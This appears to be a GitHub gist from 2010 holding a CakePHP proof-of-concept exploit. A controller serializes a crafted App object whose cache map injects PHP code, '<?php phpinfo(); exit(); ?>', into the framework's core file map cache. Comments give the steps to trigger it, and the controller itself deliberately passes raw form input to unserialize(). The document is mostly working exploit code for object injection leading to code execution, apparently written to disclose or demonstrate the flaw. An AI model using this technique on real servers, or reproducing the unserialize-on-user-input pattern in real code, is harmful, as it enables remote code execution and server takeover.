Skip to content

Instantly share code, notes, and snippets.

@predominant
Created November 18, 2010 03:43
Show Gist options
  • Save predominant/704596 to your computer and use it in GitHub Desktop.
Save predominant/704596 to your computer and use it in GitHub Desktop.
// --- Controller
class TestsController extends Controller {
public $uses = array();
public function add() {
$x = new App();
$x->__cache = 1;
$x->__map = array(
'Core' => array('Router' => '../tmp/cache/persistent/cake_core_file_map'),
'Foo' => '<?php phpinfo(); exit(); ?>'
);
$x->__paths = array();
$x->__objects = array();
$a = serialize($x);
$this->log($a);
// - Now read the value from /tmp/logs/error.log
// - Set debug to 0
// - Enter the serialized string into the form, and submit
// - reload the page
if (!empty($this->data)) {
unserialize($this->data['Test']['field']);
}
}
}
// --- View File
echo $this->Form->create('Test');
echo $this->Form->textarea('field');
echo $this->Form->end('submit');
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment